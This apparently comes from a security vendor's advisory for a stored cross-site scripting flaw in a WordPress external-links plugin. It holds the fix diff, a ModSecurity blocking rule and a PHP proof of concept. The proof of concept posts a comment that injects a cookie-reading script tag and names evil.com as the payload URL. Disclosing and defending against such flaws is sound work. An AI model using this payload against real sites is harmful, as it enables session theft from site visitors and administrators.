+License URI: http://www.gnu.org/licenses/gpl-2.0.html
 */

 /*
@@ -19,7 +18,13 @@

 **/

-define('sem_external_links_version', '6.8.1');
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+define('sem_external_links_version', '6.8.2');
+
+require_once dirname( __FILE__ ) . '/sem-external-links-html.php';

 /**
  * external_links
@@ -84,7 +89,7 @@
 	{
 		load_plugin_textdomain(
 			$domain,
-			FALSE,
+			false,
 			dirname(plugin_basename(__FILE__)) . '/lang'
 		);
 	}
@@ -181,47 +186,79 @@
 	 **/

 	function process_content($text, $context = "global") {
+		if ( !is_string($text) )
+			return $text;
+
 		// short circuit if there's no anchors at all in the text
-		if ( false === stripos($text, '<a ') )
+		if ( false === stripos($text, '<a') )
 			return($text);

-		$escape_needed = array( 'global', 'content', 'widgets' );
-		if ( in_array($context, $escape_needed ) ) {
-			global $escape_anchor_filter;
-			$escape_anchor_filter = array();
-
-			$text = $this->escape($text, $context);
-		}
-
-		// find all occurrences of anchors and fill matches with links
-		preg_match_all("/
-					<s*as+
-					([^<>]+)
-					>
-					(.*?)
-					<s*/s*as*>
-					/isx", $text, $matches, PREG_SET_ORDER);
-
-		$raw_links = array();
-		$processed_links = array();
-
-		foreach ($matches as $match)
-		{
-			$updated_link = $this->process_link($match);
-			if ( $updated_link ) {
-				$raw_links[]     = $match[0];
-				$processed_links[] = $updated_link;
+		// Only start tags found by the scanner are edited, each by attribute offsets, so an
+		// attribute value is never mistaken for markup. Script, style and textarea contents
+		// are never tags to the scanner; object (and pre and code when exclude_code_blocks
+		// is on) are skipped here; in the whole-page buffer, so is everything up to </head>.
+		$segments = sem_external_links_html::scan($text);
+		$count = count($segments);
+
+		$skip = array( 'object' => true );
+		if ( $this->opts['exclude_code_blocks'] ) {
+			$skip['pre'] = true;
+			$skip['code'] = true;
+		}
+
+		$first = 0;
+		if ( $context == 'global' ) {
+			for ( $i = 0; $i < $count; $i++ ) {
+				if ( 'end' === $segments[$i]['type'] && 'head' === $segments[$i]['name'] ) {
+					$first = $i + 1;
+					break;
+				}
 			}
 		}

-		if ( !empty($raw_links) && !empty($processed_links) )
-			$text = str_replace($raw_links, $processed_links, $text);
+		$out = '';
+		$done = 0;
+		$depth = 0;
+		for ( $i = $first; $i < $count; $i++ ) {
+			$segment = $segments[$i];
+			if ( 'start' !== $segment['type'] && 'end' !== $segment['type'] )
+				continue;
+
+			if ( isset($skip[$segment['name']]) ) {
+				if ( 'start' === $segment['type'] )
+					$depth++;
+				elseif ( $depth > 0 )
+					$depth--;
+				continue;
+			}
+
+			if ( $depth > 0 || 'start' !== $segment['type'] || 'a' !== $segment['name'] )
+				continue;
+
+			// the anchor's body runs to the next </a>; an anchor without one is left alone
+			$body_start = $segment['offset'] + $segment['length'];
+			$body_end = false;
+			for ( $j = $i + 1; $j < $count; $j++ ) {
+				if ( 'end' === $segments[$j]['type'] && 'a' === $segments[$j]['name'] ) {
+					$body_end = $segments[$j]['offset'];
+					break;
+				}
+			}
+			if ( false === $body_end )
+				continue;

-		if ( in_array($context, $escape_needed ) ) {
-			$text = $this->unescape($text);
+			$tag = substr($text, $segment['offset'], $segment['length']);
+			$updated_link = $this->process_link($tag, $segment, substr($text, $body_start, $body_end - $body_start));
+			if ( $updated_link ) {
+				$out .= substr($text, $done, $segment['offset'] - $done) . $updated_link;
+				$done = $body_start;
+			}
 		}

-		return $text;
+		if ( 0 === $done )
+			return $text;
+
+		return $out . substr($text, $done);
 	} # process_content()


@@ -270,93 +307,17 @@
 	}

 	/**
-	 * escape()
-	 *
-	 * @param string $text
-	 * @param string $context
-	 * @return string $text
-	 **/
-
-	function escape($text, $context) {
-		global $escape_anchor_filter;
-
-		if ( !isset($escape_anchor_filter) )
-			$escape_anchor_filter = array();
-
-		$exclusions = array();
-
-		if ( $context == 'global' ) {
-			$exclusions['head'] = "/
-							.*?
-							<s*/s*heads*>
-							/isx";
-		}
-
-		$ignore_blocks = 'script|style|object|textarea';
-		if ( $this->opts['exclude_code_blocks'] ) {
-			$ignore_blocks .= '|pre|code';
-		}
-
-		$exclusions['blocks'] = "/
-						<s*(" . $ignore_blocks . ")(?:s.*?)?>
-						.*?
-						<s*/s*\1s*>
-						/isx";
-
-		foreach ( $exclusions as $regex ) {
-			$text = preg_replace_callback($regex, array($this, 'escape_callback'), $text);
-		}
-
-		return $text;
-	} # escape()
-
-
-	/**
-	 * escape_callback()
-	 *
-	 * @param array $match
-	 * @return string $text
-	 **/
-
-	function escape_callback($match) {
-		global $escape_anchor_filter;
-
-		$tag_id = "----escape_sem_external_links:" . md5($match[0]) . "----";
-		$escape_anchor_filter[$tag_id] = $match[0];
-
-		return $tag_id;
-	} # escape_callback()
-
-
-	/**
-	 * unescape()
+	 * process_link()
 	 *
-	 * @param string $text
-	 * @return string $text
+	 * @param string $tag the anchor's start tag
+	 * @param array $segment its sem_external_links_html::scan() segment
+	 * @param string $body the html between the start tag and its </a>
+	 * @return string|false $tag the rewritten start tag, or false to leave it alone
 	 **/

-	function unescape($text) {
-		global $escape_anchor_filter;
-
-		if ( !$escape_anchor_filter )
-			return $text;
-
-		$unescape = array_reverse($escape_anchor_filter);
-
-		return str_replace(array_keys($unescape), array_values($unescape), $text);
-	} # unescape()
-
-
-	/**
-	 * filter_callback()
-	 *
-	 * @param array $match
-	 * @return string $str
-	 **/
-
-	function process_link($match) {
+	function process_link($tag, $segment, $body) {
 		# parse anchor
-		$anchor = $this->parse_anchor($match);
+		$anchor = $this->parse_anchor($segment, $body);

 		if ( !$anchor )
 			return false;
@@ -365,7 +326,7 @@
 		$anchor = $this->filter_anchor( $anchor );

 		if ( $anchor )
-			$anchor = $this->build_anchor($match[0], $anchor);
+			$anchor = $this->build_anchor($tag, $segment, $anchor);

 		return $anchor;
 	} # process_link()
@@ -374,20 +335,26 @@
 	/**
 	 * parse_anchor()
 	 *
-	 * @param array $match
+	 * @param array $segment
+	 * @param string $body
 	 * @return array $anchor
 	 **/

-	function parse_anchor($match) {
+	function parse_anchor($segment, $body) {
 		$anchor = array();
-		$anchor['attr'] = $this->parseAttributes( $match[1] );
+		$anchor['attr'] = array();
+		foreach ( $segment['attrs'] as $attr )
+			$anchor['attr'][$attr['name']] = $attr['value'];
+
+		# attribute values as written, to tell later which ones changed
+		$anchor['raw'] = $anchor['attr'];

-		if ( !is_array($anchor['attr']) || empty($anchor['attr']['href']) # parser error or no link
-		|| trim($anchor['attr']['href']) != esc_attr($anchor['attr']['href'], null, 'db') ) # likely a script
+		if ( empty($anchor['attr']['href']) # no link
+		|| trim($anchor['attr']['href']) != esc_attr($anchor['attr']['href']) ) # likely a script
 			return false;

 		foreach ( array('class', 'rel') as $attr ) {
-			if ( !isset($anchor['attr'][$attr]) ) {
+			if ( !isset($anchor['attr'][$attr]) || '' === $anchor['attr'][$attr] ) {
 				$anchor['attr'][$attr] = array();
 			} else {
 				$anchor['attr'][$attr] = explode(' ', $anchor['attr'][$attr]);
@@ -395,7 +362,7 @@
 			}
 		}

-		$anchor['body'] = $match[2];
+		$anchor['body'] = $body;

 		$anchor['attr']['href'] = @html_entity_decode($anchor['attr']['href'], ENT_COMPAT, get_option('blog_charset'));

@@ -406,14 +373,19 @@
 	/**
 	 * build_anchor()
 	 *
-	 * @param $link
+	 * Sets class, rel and target on the start tag, touching only the attributes whose
+	 * value changed, through sem_external_links_html::rewrite_start_tag().
+	 *
+	 * @param string $tag
+	 * @param array $segment
 	 * @param array $anchor
-	 * @return string $anchor
+	 * @return string|false $tag
 	 */

-	function build_anchor($link, $anchor) {
+	function build_anchor($tag, $segment, $anchor) {

 		$attrs = array( 'class', 'rel', 'target');
+		$changes = array();

 		foreach ( $attrs as $attr ) {
 			if ( isset($anchor['attr'][$attr]) ) {
@@ -427,59 +399,17 @@
 					$new_attr_value = $values;
 				}

-				if ( $new_attr_value )
-					$link = $this->update_attribute($link, $attr, $new_attr_value);
+				if ( $new_attr_value
+					&& ( !isset($anchor['raw'][$attr]) || $anchor['raw'][$attr] !== $new_attr_value ) )
+					$changes[$attr] = $new_attr_value;
 			}
 		}

-		return $link;
-	} # build_anchor()
-
-
-	/**
-	 * Updates attribute of an HTML tag.
-	 *
-	 * @param $html
-	 * @param $attr_name
-	 * @param $new_attr_value
-	 * @return string
-	 */
-	function update_attribute($html, $attr_name, $new_attr_value) {
-
-		$attr_value     = false;
-		$quote          = false; // quotes to wrap attribute values
-
-		preg_match('/(<a.*>)/isU', $html, $match);
-
-		$link_str = $match[1];
-		if ($link_str == "")
-			return $html;
-
-		$re = '/' . preg_quote($attr_name) . '=(['"])?((?(1).+?|[^s>]+))(?(1)1)/is';
-		if (preg_match($re, $link_str, $matches)
-		) {
-			// two possible ways to get existing attributes
-			$attr_value = $matches[2];
-
-			$quote = false !== stripos($html, $attr_name . "='") ? "'" : '"';
-		}
-
-		if ($attr_value)
-		{
-			//replace current attribute
-			$html = str_ireplace("$attr_name=" . $quote . "$attr_value" . $quote,
-				$attr_name . '="' . esc_attr($new_attr_value) . '"', $html);
-		}
-		else {
-			// attribute does not currently exist, add it
-			$pos = strpos( $html, '>' );
-			if ($pos !== false) {
-				$html = substr_replace( $html, " $attr_name="" . esc_attr($new_attr_value) . '">', $pos, strlen('>') );
-			}
-		}
+		if ( !$changes )
+			return false;

-		return $html;
-	} # update_attribute()
+		return sem_external_links_html::rewrite_start_tag($tag, $segment['attrs'], $segment['close_at'], $changes);
+	} # build_anchor()

 	/**
 	 * filter_anchor()
@@ -558,29 +488,6 @@
 			return null;
 	} # filter_anchor()

-
-	function parseAttributes($text) {
-	    $attributes = array();
-	    $pattern = '#(?(DEFINE)
-	            (?<name>[a-zA-Z][a-zA-Z0-9-:]*)
-	            (?<value_double>"[^"]+")
-	            (?<value_single>'[^']+')
-	            (?<value_none>[^s>]+)
-	            (?<value>((?&value_double)|(?&value_single)|(?&value_none)))
-	        )
-	        (?<n>(?&name))(=(?<v>(?&value)))?#xs';
-
-	    if (preg_match_all($pattern, $text, $matches, PREG_SET_ORDER)) {
-	        foreach ($matches as $match) {
-	            $attributes[$match['n']] = isset($match['v'])
-	                ? trim($match['v'], ''"')
-	                : null;
-	        }
-	    }
-
-	    return $attributes;
-	}
-
 	/**
 	 * is_external()
 	 *
@@ -603,7 +510,8 @@
 		static $site_domain;

 		if ( !isset($site_domain) ) {
-			$site_domain = home_url();
+			// home_url() arrived in WordPress 3.0; 2.8 and 2.9 only have the home option.
+			$site_domain = function_exists('home_url') ? home_url() : get_option('home');
 			$site_domain = parse_url($site_domain);
 			$site_domain = $site_domain['host'];
             if ($site_domain == false)
--- a/sem-external-links/sem-follow_comment.php
+++ b/sem-external-links/sem-follow_comment.php
@@ -22,6 +22,10 @@
 	* Thomas Parisot <http://oncle-tom.net>
 **/

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+

 class sem_follow_comment {
 	/**

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-136598
# This rule blocks exploitation of the stored XSS vulnerability in the External Links plugin via the comment parameter.
# It matches POST requests to wp-comments-post.php with a comment containing a URL that includes HTML tags or script.
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-136598 via External Links plugin comment XSS',severity:'CRITICAL',tag:'CVE-2026-136598'"
  SecRule ARGS_POST:comment "@rx (?i)(https?://[^s]+[<>]|www.[^s]+[<>])" 
    "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136598 - External Links <= 6.8.1 - Unauthenticated Stored XSS via Comment Link Title Attribute

// Set the target WordPress site URL
$target_url = 'http://example.com'; // Change this to the victim site

// The malicious comment payload
$payload = 'http://evil.com/?"><script>alert(document.cookie)</script>';

// Prepare the POST data for the comment form
$post_data = array(
    'comment' => $payload,
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => '',
    'submit' => 'Post Comment',
    'comment_post_ID' => '1', // Assuming post ID 1 exists
);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 302 || $http_code == 200) {
    echo "Comment submitted successfully. The XSS payload will execute when an admin approves the comment and a user views the post.n";
} else {
    echo "Failed to submit comment. HTTP code: $http_coden";
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.